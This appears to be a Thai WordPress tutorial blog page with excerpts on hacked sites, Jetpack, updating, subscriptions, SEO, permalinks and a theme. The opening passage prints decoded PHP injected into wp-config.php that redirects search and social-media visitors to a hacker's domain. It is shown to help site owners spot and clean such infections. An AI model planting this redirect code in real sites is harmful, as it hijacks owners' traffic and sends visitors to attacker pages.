จึงลงมือทำด้วยคน) ซึ่งจุดมุ่งหมายมักไม่ใช่การสร้างหายนะ แต่เป็นการวางยาเพื่อใช้เว็บไซต์ของเหยื่อเป็นฐานในการทำอะไรบางอย่าง ตัวอย่าง WordPress ที่โดน hack ตัวอย่างคลาสสิคที่หาก robot สามารถเจาะเข้ามาได้คือการเข้าไปแก้ไขไฟล์ /public_html/wp-config.php ซึ่งจะเป็นไฟล์ที่ถูกรันอยู่ตลอดเวลาเมื่อมีการเปิดเพจ โดยมีการใส่ code บางอย่างเข้าไป จะสังเกตเห็นว่ามีการแทรกคำสั่ง php เอาไว้ ซึ่งจะถูกรันทุกครั้งที่มีการเปิดเพจใดเพจหนึ่ง สิ่งแปลกปลอมนี้คือคำสั่ง php ที่ถูกเข้ารหัสไว้ ซึ่งถ้าเราถอดรหัสออกมาก็จะได้คำสั่งประมาณนี้ error_reporting(0); $qazplm=headers_sent(); if (!$qazplm){ $referer=$_SERVER[‘HTTP_REFERER’]; $uag=$_SERVER[‘HTTP_USER_AGENT’]; if ($uag) { if (“yahoo”…”bing”…”rambler”…”gogo”…”live.com” …”aport”…”nigma”…”webalta”…”begun.ru”…”stumbleupon.com”…”bit.ly”…”tinyurl.com”…yandex…”google… “myspace.com”…”facebook.com”) …”aol.com”) { if (!stristr($referer,”cache”) or !stristr($referer,”inurl”)){ header(“Location: http://www.hacker-devil-destroy-and-annoy-god-dam.com/“); exit(); } ท่านที่ไม่ใช่โปรแกรมเมอร์ไม่ต้องตกใจครับ ไม่ต้องไปสนใจรายละเอียด จุดมุ่งหมายของโค้ดนี้คือ ถ้ามีคนไปเจอเพจใดเพจหนึ่งของเราผ่าน yahoo, bing, google หรือมีลิงค์จาก facebook, myspace หรืออะไรก็ตามที่ถูกดักไว้ ทันทีที่คนเห็นแล้วคลิก มันจะถูก redirect ไปที่เว็บไซต์เป้าหมายตามตัวอย่างคือ hacker-devil-destroy-and-annoy-god-dam ดอทคอม ซึ่งจะไม่มาที่เว็บไซต์ของเรา ความหมายก็คือ เราถูกขโมยผู้ชมไป…

รวม plugin น่าใช้ใน Jetpack By WordPress

รวม plugin น่าใช้ใน Jetpack By WordPress

สำหรับคนที่เริ่มต้นทำเว็บไซต์ด้วย WordPress ระยะหนึ่ง และเริ่มมีเนื้อหามากขึ้น ขอแนะนำให้รู้จักกับ plugin ที่สร้างโดย WordPress เองเรียกว่า Jetpack ซึ่งจะรวม plugin ไว้หลายตัวไว้ในไฟล์เดียว มีอะไรบ้าง ใช้อย่างไรบ้าง คงต้องว่ากันเป็นตอนๆ ตอนนี้ขอแนะนำให้ติดตั้งก่อนครับ โดยดาวน์โหลดได้ที่ http://wordpress.org/plugins/jetpack/ ตอนที่เขียนบทความนี้เป็นเวอร์ชัน 2.2.5 และมียอดดาวน์โหลดประมาณห้าล้านครึ่ง ก็แสดงถึงความนิยมอย่างไม่ต้องสงสัย เนื่องจากไฟล์มีขนาดถึง 4.38 MB ซึ่งอาจจะมีปัญหาเวลาติดตั้งตามปกติ (สำหรับเน็ตที่ช้า) แนะนำให้แตกไฟล์แล้วใช้ FileZilla อัพโหลดไปที่ wp-content/plugins จะเร็วกว่า แล้วไป activate ตามปกติ สิ่งที่เพิ่มเข้ามาในหน้า dashboard คือเมนู Jetpack ซึ่งเท่าที่นับดูมี plugin อยู่ 25 ตัว บางตัวจะ enable ไว้แล้ว ตัวใดที่ยังไม่ enable ก็จะมีปุ่ม activate นอกจากนี้ยังมี widget เพิ่มเข้ามาอีกหลายตัว ลองเข้าไปดูที่ Appearance Widgets ตัวใหนที่มีการ activate แล้ว และเราต้องการจะ deactivate ก็กดที่ปุ่ม Learn More ปุ่ม configure ก็จะเปลี่ยนเป็นปุ่ม deactivate ให้กด สำหรับผู้เริ่มต้นเล่น ขอแนะนำให้เปลี่ยนไปใช้ theme มาตรฐาน TwentyEleven ก่อนก็จะดีครับ เพราะว่าบาง theme อาจมีปัญหาจุกจิกเล็กน้อย ถึงแม้ว่า theme ส่วนใหญ่จะพยายามเขียนให้เข้ากับ Jetpack ได้อย่างไม่มีปัญหา แต่ก็มักมีปัญหาเกิดขึ้นบ่อยๆ ไม่รู้ว่า Jetpack มีปัญหาหรือ theme มีปัญหากันแน่ สำหรับผู้ที่เคยลองใช้ครั้งแรก แนะนำให้เลือก host ฟรีสักแห่งแล้วเซตเว็บไซต์ใหม่ทดลองก็จะดีกว่าไปทดลองกับเว็บไซต์จริง ลองทั้งกับ plugin และ theme ที่ใช้อยู่ ซึ่งคงต้องใช้เวลาเรียนรู้สักพัก (ไม่ต่ำกวาหนึ่งเดือนแน่) แล้วจึงค่อยตัดสินใจว่าจะใช้หรือไม่ บางทีอาจจะไปเลือกใช้ plugin อิสระเป็นตัวๆไปดีกว่า ก่อนที่จะใช้ plugin ชุดนี้ได้เราจะต้องมีปัญชีของ wordpress.com อยู่ก่อนครับ ถ้ายังไม่มีก็ให้ไป wordpress.com แล้วสมัครเปิด blog สักอันหนึ่ง ตั้งชื่อเกี่ยวกับเว็บไซต์ของเราก็ได้เช่น webstyleapp.wordpress.com แล้วเราก็เอา username และ password มาเปิดการใช้งาน Jetpack ภายในเว็บไซต์ของเรา บางท่านอาจสงสัยว่าจะใช้ plugin สักทีทำไมต้องทำอะไรให้มันยุ่งยาก WordPress (จะมาสอดแนมอะไรหรือเปล่า-อันนี้ไม่รู้) แต่สำหรับ plugin บางตัวอย่างเช่นระบบ stat, subscription จะต้องมีการผ่านข้อมูลไปที่ server ของ WordPress ก่อน และมีข้อมูลบางส่วนที่เก็บไว้ คนที่เคยใช้ plugin ทำนองนี้คงจะไม่แปลกใจ เช่น mailchimp ที่เป็น plugin เกี่ยวกับ email marketing หรือ akimet ที่ตรวจจับ spam ก็จะส่งข้อมูลไปที่ server ที่สร้าง plugin เหล่านี้ก่อนเพื่อตรวจสอบและทำงานต่อไป สุดท้าย แนะนำให้ disable plugin ทุกตัวใน Jetpack ออกให้หมดก่อนครับ แล้วค่อยมา enable ทีละตัว คือเรียนทีละตัว แล้วจะมาแนะนำ plugin ในชุด Jetpack ในโอกาสต่อไปครับ

การอัพเดท WordPress

การอัพเดท WordPress

สงวนลิขสิทธิ์ เช่นเดียวกับซอฟต์แวร์ทั่วๆไป WordPress ต้องการมีการอัพเดทอย่างสม่ำเสมอและควรจะทันทีที่มีการประกาศให้อัพเดท ซึ่งปัจจุบันคือ 3.5.2 การอัพเดท WordPress มีวิธีหลักๆอยู่สองวิธี คือ ใช้การอัพเดทอัตโนมัติใน dashboard และใช้การอัพโหลดไฟล์ของเวอร์ชันใหม่เข้าไปแทนที่ อย่าละเลยการอัพเดท ผู้ใช้ทั่วไปมักจะละเลยที่จะอัพเดท เพราะคิดว่าไม่จำเป็น บางคนคิดว่าการอัพเดทเป็นการปรับปรุงประสิทธิภาพเล็กๆน้อยๆซึ่งตนเองคิดว่าที่มีอยู่ก็เพียงพออยู่แล้ว หรือคิดว่าตัวเองคงไม่เป็นเป้าหมายของการการแฮค อย่างเช่นเห็นว่าเป็นเว็บไซต์ส่วนตัวหรือเป็นกิจการขนาดเล็กที่ไม่น่าจะมีใครมาสนใจทำให้เสียหาย ซึ่งคิดผิดถนัด WordPress และ opensource อื่นๆมีลักษณะเหมือนกันคือเป็นโปรแกรมที่มีการเปิดเผยซอร์ซโค้ดและมีชุมชนที่คุยกันเรื่องข้อบกพร่องทั้งในแง่ประสิทธิภาพ การใช้งาน และช่องโหว่ที่แฮคเกอร์สามารถเข้ามาเจาะได้อยู่อย่างสม่ำเสมอ และไม่เป็นความลับใดๆ สำหรับคนที่คิดว่าคงไม่มีใครมาแฮค ถูกครึ่งหนึ่งครับ เพราะที่เข้ามาแฮคตอนแรกมักจะเป็นหุ่นยนต์ (robot) หรือโปรแกรมที่เขียนขึ้นมาเพื่อเจาะเข้าเว็บไซต์ที่ใช้เวอร์ชันที่มีช่องโหว่ ซึ่งหุ่นยนต์เหล่านี้จะค้นหาเว็บไซต์ที่ใช้ WordPress เวอร์ชันเป้าหมายได้อย่างรวดเร็ว หากเว็บไซต์เราน่าสนใจ (สำหรับแฮกเกอร์) และหุ่นยนต์เจาะไม่ได้ แฮคเกอร์ที่เป็นคนถึงจะลงมือเอง Zero-day และเมื่อพบข้อบกพร่องโดยเฉพาะที่เป็นช่องโหว่ที่จะให้แฮคเกอร์เจาะเข้ามาได้ เวอร์ชันที่ใช้อยู่ก็จะมีความเสี่ยงที่จะถูกโจมตีในทันทีจนกว่าจะมีเวอร์ชันอัพเดทที่ปิดช่องโหว่นั้น ซึ่งมีภาษาเรียกว่า Zero-day หมายถึงช่วงเวลาสุญญากาศนับจากวันที่พบช่องโหว่จนถึงวันที่มีเวอร์ชันอัพเดทออกมา ที่แนะนำว่าผู้ที่ใช้ WordPress พึงให้ความใส่ใจก็เพราะว่าหลายเดือนมานี้ (จนกระทั่งถึงวันนี้) WordPress เป็นเป้าในการโจมตีมาตลอด โดยที่เจ้าของเว็บไซต์บางคนอาจจะไม่รู้ด้วยซ้ำ กลัวอัพเดทแล้วมีปัญหา สำหรับคนที่ใช้ plugin เยอะอาจจะกลัวการอัพเดทอยู่ไม่น้อย เพราะบางครั้งพออัพเดทไปแล้วกลับใช้ plugin บางตัวไม่ได้ ซึ่งอาจจะเป็นที่ตัว plugin จริงๆหรืออาจจะเป็นสาเหตุอื่นประกอบ ผู้ใช้ก็เลยรอให้ผู้พัฒนา plugin ทดสอบกับเวอร์ชันใหม่ก่อนว่าใช้งานได้จริง ทั้งนี้รวมทั้ง theme ด้วย ปัญหาอันนี้ตอบยากจริงๆ เพราะโดยแง่หลักการ การอัพเดท (update) เวอร์ชันย่อยมักจะไม่มีการเปลี่ยนแปลงคำสั่งใดๆให้กระเทือน plugin หรือ theme เว้นเสียแต่ว่าจะเป็นการอัพเกรด (upgrade) เช่นเปลี่ยนจากเวอร์ชัน 3.5.x ไปเป็นเวอร์ชัน 3.6 ซึ่งก็จะมีการแจ้งล่วงหน้าตลอดว่าจะมีคำสั่งใดที่ล้าสมัย (deplicate) ซึ่งผู้พัฒนา plugin และ theme เขาก็ติดตามเรื่องนี้อยู่ตลอด ความเห็นผมก็คือยังไงก็ต้องอัพเดท ปล่อยไว้ไม่คุ้ม ดังนั้นถ้าใครเคยมีประสบการณ์อัพเดทแล้วใช้ไม่ได้ก็ต้องลองแกะดูว่าปัญหามันเกิดจาก plugin ตัวไหน หรือมีปัญหาอะไรกับ theme ที่ใช้อยู่ ขั้นตอนมาตรฐานก่อนการอัพเดท การสำรองข้อมูลเป็นวิธีการคลาสสิคสำหรับการอัพเดททุกๆโปรแกรมรวมทั้ง WordPress อย่าไว้ใจระบบการอัพเดทของซอฟต์แวร์ใดๆเป็นอันขาดว่าจะไม่กระทบกับข้อมูลเดิม บางคนเคยอัพเดทมาหลายครั้งโดยไม่ทำการสำรองข้อมูลเพราะขี้เกียจ และทำผ่านมาตลอด แต่พอมันเกิดปัญหาขึ้นมา ก็จะรู้ว่ามันไม่คุ้มกัน อัพเดท WordPress แบบรวดเร็ว วีธีนี้สำหรับผู้ที่ใช้ WordPress มาสักระยะหนึ่งคงจะคุ้นเคยดีอยู่แล้ว เพราะในหน้า dashboard จะมีการเตือนให้อัพเดททั้ง plugin และตัว WordPress อยู่เสมอ ซึ่งการอัพเดทก็เพียงแต่กดปุ่ม update แล้วรอก็เป็นอันเสร็จ ซึ่งเป็นวิธีที่ง่ายและสะดวกที่สุด แต่มีข้อระวังก็คือให้ทำในช่วงที่อินเตอร์เนตทำงานลื่นไหลดีนะครับ ถ้าอินเตอร์เนตอืดอยู่อย่าเพิ่งอัพเดทโดยวิธีอัตโนมัตินี้เลย อาจจะทำให้การอัพเดทไม่สมบูรณ์ (บางครั้งแม้ว่า WordPress จะแจ้งว่าการอัพเดทสมบูรณ์แล้วก็ตาม) การอัพเดทด้วยตัวเอง การอัพเดทแบบนี้เป็นน้องๆของการติดตั้ง WordPress ใหม่เลย เพราะว่าเราจะทำการอัพโหลดไฟล์ของ WordPress ส่วนใหญ่ขึ้นไปยังเซอร์ฟเวอร์ของเรา ซึ่งการอัพโหลดแบบนี้เป็นแบบที่ช้าแต่ชัวร์และเป็นการเคลียร์พวก malware ที่อาจแฝงอยู่ในระบบไฟล์ของ WordPress พูดง่ายๆคือเราอาจถูกแฮคโดยการวางไฟล์แปลกปลอมเข้าไปในระบบไฟล์ของ WordPress รวมทั้งการเข้าไปแก้ไขบางไฟล์ การอัพเดทแบบนี้ผู้อัพเดทจะต้องมียูสเซอร์เนมและรหัสผ่านของ FTP ของเว็บไซต์ของเรา ซึ่งถ้าหากเราทำคนดียวหมดก็ไม่มีปัญหา เพราะเรารู้อยู่แล้ว แต่ถ้าเป็นบริษัทที่มีการแยกกันดูแลระหว่างผู้ดูระบบ WordPress กับผู้ดูระบบอัพโหลดด้วย FTP ก็ต้องให้คนหลังเป็นคนทำ ขั้นตอนการอัพเดทด้วยมือ 1 .สำรองข้อมูลทั้งหมด 2. Deactivate plugin ทุกตัว 3. เข้า FTP ดาวน์โหลดโฟลเดอร์ /public_html/wp-content (ทั้งโฟลเดอร์รวมทั้งไฟล์ข้างใน) มาสำรองไว้ และสำรองไฟล์ต่อไปนี้public_html/.htaccess public_html/favicon.ico public_html/wp-config.php public_html/index.html 4. ใช้ cPanel หรือ DirectAdmin (แล้วแต่โฮสต์ที่ใช้) ลบโฟลเดอร์ /public_html/wp-admin และ/public_html/ wp-includes ทิ้งไป (ซึ่งไฟล์ข้างในก็จะถูกลบไปด้วย) และลบไฟล์อื่นภายใต้ /public_html ออกให้หมด ยกเว้นไฟล์ต่อไปนี้public_html/.htaccess public_html/favicon.ico public_html/wp-config.php public_html/index.htmlซึ่งได้สำรองไว้แล้วในข้อ 3.ห้ามลบโฟลเดอร์ /public_html/wp-content เป็นอันขาด เพราะว่ามันจะเก็บพวกไฟล์รูปภาพ เสียง วีดีโอของโพสต์ของเราเอาไว้ แต่ถ้าเผลอลบไปก็ให้อัพโหลดที่สำรองไว้ คืนกลับไป (นี่คือเหตุผลที่ให้สำรองไว้ก่อน) 5. แตกไฟล์…

ชวนคนให้มีส่วนร่วมด้วย Jetpack Subscriptions

ชวนคนให้มีส่วนร่วมด้วย Jetpack Subscriptions

สงวนลิขสิทธิ์ การเชิญชวนให้ผู้เข้าดูเว็บไซต์มีส่วนร่วมทำได้หลายวิธี การเปิดให้มีการคอมเมนต์เป็นวิธีที่ดีที่สุด อีกวิธีหนึ่งก็คือการเชิญชวนให้สมัครรับข่าวสารหรือแจ้งโพสต์ใหม่ๆทาง email หรือที่เรียกว่า Subscription ซึ่งเป็นส่วนหนึ่งของ Email Marketing และ Blog Marketing ในชุดของ Jetpack มี plugin สำหรับ subscription อยู่ด้วย ซึ่งเป็นระบบเดียวกับการ Follow ใน wordpress.com Subscription หลักการเดียวกับ Follow ใน wordpress.com wordpress.com คือ blog ฟรี เมื่อเราสมัครใช้จะได้โดเมนย่อยเช่น webstyleapp.wordpress.com ซึ่งจะมี plugin สำหรับระบบ blog ติดตั้งให้ใช้ได้โดยอัตโนมัติ รวมทั้ง subscription ซึ่งรู้จักกันในชื่อ follow หากใครเคยใช้ blog ฟรีใน wordpress.com มาก่อนก็คงเข้าใจโดยอัตโนมัติ ใน Jetpack ก็หลักการเดียวกัน เพียงแต่ว่าเมื่อเรามาสร้างเว็บไซต์ของเราเอง เราก็ต้องติดตั้ง plugin เหล่านี้เอง ซึ่งก็อยู่ในชุดของ Jetpack ส่วนคอนเซฟต์และวิธีใช้เหมือนกัน ระบบ Follow ของ wordpress.com สำหรับคนที่ยังไม่รู้จัก ขอถือโอกาสแนะนำตรงนี้ WordPress กำเนิดมาจากการเป็นระบบ blog หมายความว่า เป็นเว็บไซต์ที่เน้นเนื้อหาให้คนติดตาม การติดตามหรือการ follow เป็นสิ่งที่บ่งบอกถึงความนิยมของ blog ในระบบของ wordpress.com ผู้ติดตามหรือ follower อาจจะเป็นเจ้าของ blog อื่น ซึ่งมี username (หรือ email) ที่สมัครไว้ หรือไม่ได้เปิด blog กับ wordpress.com ก็สามารถติดตามได้โดยใส่ email เข้าไปในช่องติดตาม เจ้าของ blog จะต้องโชว์ Follow Blog Widget (จาก Appearance->Widget) ซึ่งจะต้องลากไปยังตำแหน่งที่ต้องการแสดง ซึ่งจะปรากฏแก่ผู้เข้าดูเว็บไซต์ที่ไม่ได้เปิดบัญชีกับ wordpress.com หรือมีแต่ไม่ได้ล็อกอินในขณะเข้าดูเว็บไซต์ของเรา Widget ตัวนี้จะแสดงช่องให้กรอก email และปุ่ม follow แต่ผู้ที่มีบัญชี wordpress.com และล็อกอินอยู่ เมื่อมาดูเว็บไซต์นี้ก็จะแสดงปุ่มให้ follow เลย นอกจากการ subscribe หรือ follow โดยวิธีข้างต้นแล้ว WordPress ยังให้ผู้อ่าน subscribe ได้โดยตรงผ่านโพสต์ที่อ่าน เช่นถ้าเรามีโพสต์ใน yyy.wordpress.com ตรงท้ายคอมเมนต์จะมีช่องให้ subscribe ผ่าน email ตามรูปเป็นตัวอย่างเมื่อผู้มีบัญชีชื่อ James ของ xxx.wordpress.com กำลังจะคอมเมนต์ในเว็บไซต์ yyy.wordpress.com ของผู้อื่นในขณะที่กำลังล็อกอินด้วยบัญชีของตัวเองอยู่ หาก James คลิกที่ Notify me of new posts via email ก็จะมีผลเช่นเดียวกับการกดปุ่ม follow ข้างต้น คือ James ได้สมัครรับแจ้งโพสต์ใหม่ๆผ่านทาง email จาก yyy.wordpress.com หากคลิกที่ Notify me of follow-up comments via email จะเป็นการสมัครรับแจ้งทาง email เมื่อมีคนมาคอมเมนต์ต่อ โดย email ที่ใช้ก็คือ email ที่ James ใช้กับ xxx.wordpress.com นั่นเอง แต่ถ้าเป็นคนทั่วไปที่ไม่ได้เปิด blog กับ wordpress.com หรือมีแต่ไม่ได้ล็อกอิน ก็จะต้องใส่ email และ name ก่อนที่จะคอมเมนต์ เมื่อคนคอมเมนต์กดปุ่ม Post Comment คอมเมนต์นั้นก็จะส่งไปยัง yyy.wordpress.com ซึ่งจะต้องรออนุมัติจากเจ้าของ blog ซึ่งเมื่ออนุมัติก็จะไปปรากฏเป็นคอมเมนต์ให้คนทั่วไปเห็นได้ แต่ถ้าเราต้องการให้คนที่มีบัญชีของ wordpress.com เท่านั้นที่จะคอมเมนต์ได้ก็จะต้องเซตที่ Settings->Discussion คลิกถูกตรง…

WordPress กับ SEO

WordPress กับ SEO

การทำ WordPress SEO หมายถึงการทำให้เว็บไซต์เข้ากับหลัก SEO ที่ search engine ใช้ คุณอาจเคยได้ยินว่า WordPress นั้นง่ายในการทำ SEO แต่ถ้าว่ากันอย่างตรงไปตรงมา CMS ตัวอื่นๆ เช่น Joomla และ Drupal ก็มีความสามารถนี้เช่นกัน วิธีเซตอาจจะแตกต่างกันไป แต่โดยหลักการแล้วก็เหมือนกัน จริงๆการทำ SEO เป็นเรื่องของเนื้อหาและโครงสร้างของ template ถ้าเข้าใจหลักการก็สามารถประยุกต์ใช้ได้กับเครื่องมือทุกตัว เว็บที่ทำด้วย HTML ก็สามารถทำ SEO ติดอันดับต้นๆได้ถ้ามีความเข้าใจกระบวนการของ search engine การทำ SEO คืออะไร เมื่อพูดถึงการทำเว็บไซต์ก็มักนึกถึงการทำ SEO ควบคู่กันไป SEO มาจากคำว่า Search Engine Friendly หรือแปลตามตัวว่า เป็นมิตรกับโปรแกรมค้นหา หรือเป็นมิตรกับ google, yahoo, bing หรือตัวอื่นๆนั่นเอง เป็นมิตรในที่นี้หมายความว่า ช่วยให้โปรแกรมเหล่านี้สามารถจัดประเภทและอันดับของเว็บไซต์ของเราให้ตรงตามความเป็นจริง (ในมุมมอง Search engine) มากยิ่งขึ้น คำว่า SEO เติบโตมาพร้อมกับ search engine ในยุคแรกๆคนทำเว็บก็ตั้งหน้าตั้งตาทำเว็บไป ใส่เนื้อหา รูปภาพ โดยไม่จำเป็นต้องสนใจประเด็นอื่น เมื่อ search engine เริ่มเข้ามามีบทบาท เว็บไซต์กลายเป็นเครื่องมือทางการตลาด การดึงดูดคนให้เข้ามาดูเว็บไซต์ผ่าน search engine กลายเป็นประเด็นสำคัญขึ้นมา จึงเกิดวิชาที่เรียกว่า SEO ขึ้นมา เป้าหมายหลักก็คือว่าทำอย่างไรถึงให้ search engine ขึ้นเว็บไซต์ของเราไว้อันดับต้นๆในการค้นหา SEO คู่กับ Keyword คำที่เราใช้ในการค้นหา เช่น เมื่อเราพิมพ์คำว่า “รับตกแต่งภายใน” นี่คือสิ่งที่เรียกว่า Keyword ในวันหนึ่งๆมีคนพิมพ์ Keyword หลายล้านคำทั่วโลกเพื่อหาสิ่งที่ต้องการ คำพื้นฐานจะเป็น Keyword ที่มีคนใช้ในการค้นหามากที่สุด เช่น “รับทำบัญชี” “ขายรถมือสอง” “รับทำเว็บไซต์” และอื่นๆอีกมากมาย แน่นอนเมื่อเราทำเว็บธุรกิจขึ้นมาอันหนึ่ง เราก็ย่อมต้องการให้เว็บของเราปรากฏในลำดับต้นๆเมื่อผู้ค้นหาพิมพ์ Keyword ที่เกี่ยวกับธุรกิจของเรา Keyword มาพร้อมกับคู่แข่ง สำหรับ Keyword สำคัญๆเช่น “ขายรถมือสอง” หรืออะไรที่คนส่วนใหญ่จะนึกถึงเป็นตัวแรกเมื่อต้องการสิ่งใดสิ่งหนึ่งก็คือ Keyword ที่มีการแข่งขันกันสูง Keyword ประเภทนี้จะมีเว็บไซต์ที่ทำมานานและจับจองอันดับไว้เรียบร้อยแล้ว หมายความว่าเขาทำ SEO คนกระทั่งเว็บเขาขึ้นอันดับต้นๆสำหรับ Keyword นั้นไปโดยปริยาย แต่สำหรับเว็บไซต์ใหม่ที่ต้องการไปแข่งกับ Keyword หลักๆเหล่านี้ก็ถือเป็นเรื่องที่ต้องใช้เวลาและความพยายามอย่างมาก ทางเลือกก็คือไปเลือกใช้ Keyword รอง ซึ่งหมายถึง Keyword ที่คนอาจจะใช้ในการค้นหานอกเหนือจาก Keyword หลัก เช่นถ้าเราจะขายรถมือสอง เราอาจคาดว่าผู้ใช้จะค้นหาด้วยคำว่า “รถใช้แล้ว” “รถสภาพดี” ซึ่งมีความหมายถึงความต้องการรถมือสองเหมือนกัน แล้ว Search engine ใช้หลักอะไรมาตัดสิน ปรัญชาพื้นฐานของ Search engine ทุกตัวเหมือนกันหมด คือ Content is King คือเนื้อหาสำคัญที่สุด กล่าวคือ – มีจำนวนเนื้อหาที่มากพอ – เนื้อหาโดยส่วนใหญ่เกี่ยวข้องกับ keyword – เป็นเนื้อหาที่ไม่ซ้ำกับเว็บไซต์อื่น ซึ่งความสวยงามไม่เกี่ยว ดังนั้นหากเทียบ Keyword เดียวกัน เว็บไซต์ที่สวยงามแต่มีเนื้อหาน้อยจะอยู่ในอันดับที่ต่ำกว่าเว็บไซต์ที่เนื้อหามากแม้จะไม่สวยงาม Backlinks คุณภาพของเว็บไซต์ที่มาจากภายนอก Content เป็นปัจจัยภายใน เนื้อหาจะดีหรือไม่ดี (เหมาะสมกับ keyword ใด) search engine ไม่สามารถประเมินได้อย่างถูกต้องเสียทีเดียว เพราะมันเป็นเพียงโปรแกรมหรือที่เรียกกันว่า robots ที่เข้ามาอ่านเว็บไซต์ของเรา ตัวของ search engine จะทำการวิเคราะห์คุณภาพของ content ไปตามทีมันถูกโปรแกรม โดยหลักๆคือดูว่าเนื้อหาของเราเหมาะสมกับ keyword อะไรและควรจะอยู่ในลำดับเท่าไหร่เมื่อมีการค้นหาผ่าน keyword นั้น การที่จะตัดสินว่า content นั้นดีจริงหรือไม่ก็คือให้คนอ่านเป็นคนตัดสินนั่นเอง หากเนื้อหาดีจริง ก็จะมีคนคลิก (traffic) เข้ามามาก และถ้าได้รับการทำ link…

Permalinks คืออะไร

Permalinks คืออะไร

Permalinks เป็นกลไกหรือของ WordPress ที่ช่วยให้เพจของเราเป็นมิตรกับ search engine โดยเมื่อมีการตั้งค่า permalinks แล้ว url ของโพสต์หรือเพจของเราจะมีลักษณะเป็นข้อความ กล่าวอย่างง่ายๆ permalinks คือลักษณะของ url ที่อ่านแล้วเข้าใจได้ว่าหมายถึงอะไร อย่างเช่น ถ้าเราพบลิงค์ http://myweb.com/train-your-brain/how-to-read-effectively อย่างนี้ถึงแม้จะยังไม่ได้เปิดอ่านก็พอจะเข้าใจได้ว่าจะมีเนื้อหาเกี่ยวกับอะไร ลิงค์ลักษณะนี้เรียกว่า permalinks ซึ่งต่างกับลิงค์แบบธรรมดา เช่น http://myweb.com/?page_id=238 ซึ่งไม่สื่อความหมายอะไร แต่ความสำคัญของ Permalinks ไม่ได้อยู่ที่ให้คนดูแล้วเข้าใจ แต่จุดประสงค์คือการทำให้ search engine เข้าใจ พูดง่ายๆคือ search engine สนใจที่จะอ่านลิงค์แบบนี้มากกว่าลิงค์แบบธรรมดา เพราะจะทำสามารถวิเคราะห์ได้ว่า เนื้อหาภายในน่าจะเกี่ยวข้องกับเรื่องอะไร จะได้นำไปจัดลำดับถูก ซึ่งอาจกล่าวได้ว่า permalinks เป็นหัวใจสำหรับการทำ SEO ใน WordPress ก็ว่าได้ WordPress สามารถทำ Permalinks ได้อย่างไร จริงๆคำว่า Permalinks เป็นศัพท์ที่ WordPress ใช้เสียมากกว่า ถ้าเป็น CMS ตัวอื่นๆ หรือศัพท์ทางเทคนิคทั่วไปมักจะใช้คำว่า Friendly URL หรือ url ที่เป็นมิตร หรือ url ที่อ่านง่ายนั่นเอง จริงๆความความสามารถในการทำ Permalinks จะต้องอาศัยความสามารถของ Web Server ที่ใช้เป็น hosting ของเรา (เช่นต้องติดตั้ง mod_rewrite สำหรับ Linux เป็นต้น) แต่ไม่ต้องเป็นห่วง เพราะว่า hosting ทุกที่เขารองรับความสามารถนี้ไว้หมดแล้ว ไม่ว่าจะเป็น Windows หรือ Linux เราจะบีบประเด็นให้แคบลงคือจะเซต Permalinks ใน WordPress อย่างไร การเซต Permalinks ไปที่หน้า Settings/Permalinks คือโดยปกติมันจะเซตไว้ที่ Default คือเป็นรหัสที่อ่านไม่รู้เรื่อง (สำหรับคนทั่วไป) ถ้าต้องการใช้ Permalinks ก็เลือกเป็นตัวอื่น ปกติจะนิยมสามแบบ คือแบบแรกคือใช้ชื่อของโพสต์หรือชื่อที่ตั้งขึ้นใหม่ อีกแบบหนึ่งเอา วัน-เดือน-ปี หรือ ปี-เดือน-วัน ขึ้นแล้วตามด้วยชื่อโพสต์ แบบสุดท้ายคือนำด้วยชื่อ category แล้วตามด้วยชื่อของโพสต์ การตั้งค่า permalink เมื่อกดบันทึก WordPress จะสร้างไฟล์ชื่อ .htaccess ไว้ที่โฟลเดอร์ root หรือ public_html (ที่เดียวกับ wp-config) ซึ่งมีโค้ดต่อไปนี้ # BEGIN WordPress RewriteEngine On RewriteBase / RewriteRule ^index\.php$ – [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] # END WordPress ไฟล์นี้เป็นไฟล์ของระบบ server ที่ทำหน้าที่ควบคุมการรับส่งข้อมูลระหว่างที่เบราเซอร์และเซอร์ฟเวอร์ รายละเอียดในเบื้องต้นเรายังไม่ต้องสนใจ ต่อไปลองเขียนโพสต์ใหม่ขึ้นมาหรือลองเปิดโพสต์เก่า จะปรากฏช่องให้ใส่ข้อความ ซึ่งโดยปกติ WordPress จะเอาชื่อ title มาเป็นชื่อต่อท้าย url แต่เราสามารถเปลี่ยนเป็นข้อความอื่นได้ ซึ่งลองสังเกตดูที่ช่อง slug ด้านล่าง ข้อความจะเปลี่ยนไปตามข้อความที่เราใส่ในช่อง permalink นี้ แต่จะมีความยาวได้จำกัด เพราะควรจะสั้นๆและตรงกับ keyword ที่ต้องการ ความปลอดภัยของการทำ Permalinks แม้ว่าการเซตให้ WordPress ทำงานในโหมด Permalinks จะมีประโยชน์อย่างมากในการทำ SEO แต่ก็เป็นช่องทางอันหนึ่งที่ hacker ใช้ในการ redirect เว็บไซต์เราไปยังที่อื่น เพราะฉะนั้นเราจึงต้องปกป้องไฟล์ .htaccess นี้เช่นเดียวกันกับไฟล์อื่นๆที่สำคัญในระบบของ WordPress เพราะฉะนั้นหลังจากสร้างไฟล์ .htaccess ขึ้นมาแล้วก็ให้เซต permission เป็น 644 ซึ่งจะอนุญาตให้ admin…

Minamaze ธีมฟรี โทนขรึม

Minamaze ธีมฟรี โทนขรึม

คราวที่แล้วแนะนำ theme ฟรีในแนว business แบบเรียบง่ายสุดๆไปแล้ว ใครต้องการเว็บแนวนี้ก็เอาใช้ได้เลย ไม่ต้องยุ่งยากอะไร แต่ถ้าใช้ไปสักพักหนึ่งแล้วรู้สึกว่าอยากให้ปรับเปลี่ยนอะไรได้มากขึ้น แต่มี look คล้ายๆกัน ก็ลองดูตัวนี้ น่าจะเป็นภาค 2 ของ radiate ได้ มองแบบรวมๆก็มี look แบบเดียวกับ radiate แต่ว่ามี slider ให้ตรงหัว(แทนที่จะเป็นรูปภาพ) แต่ข้อดีคือมี Theme Options ให้ปรับแต่ง ไม่ใช่การ customize เล็กๆน้อยๆแบบ radiate จุดเด่นของธีมตัวหนี้คือมี widget ที่ footer ได้ถึง 5 ตัว ซึ่งดูจะมากเกินไป แต่สำหรับคนที่ชอบลูกเล่นในส่วน footer ก็คงจะชอบ Theme Options ก็เป็นมาตรฐานในการใช้ theme ของ WordPress ไปแล้ว คือถ้าเป็นธีมที่สามารถปรับแต่งได้มากขึ้นก็จะสร้างเมนู Theme Options ให้ใน Appearance->Themes แยกออกมาต่างหาก การเซต logo ธีมตัวนี้สามารถเซตโลโกในตำแหน่งเดียวกับ site title ได้ โดยเลือกเป็น Custom Image Logo 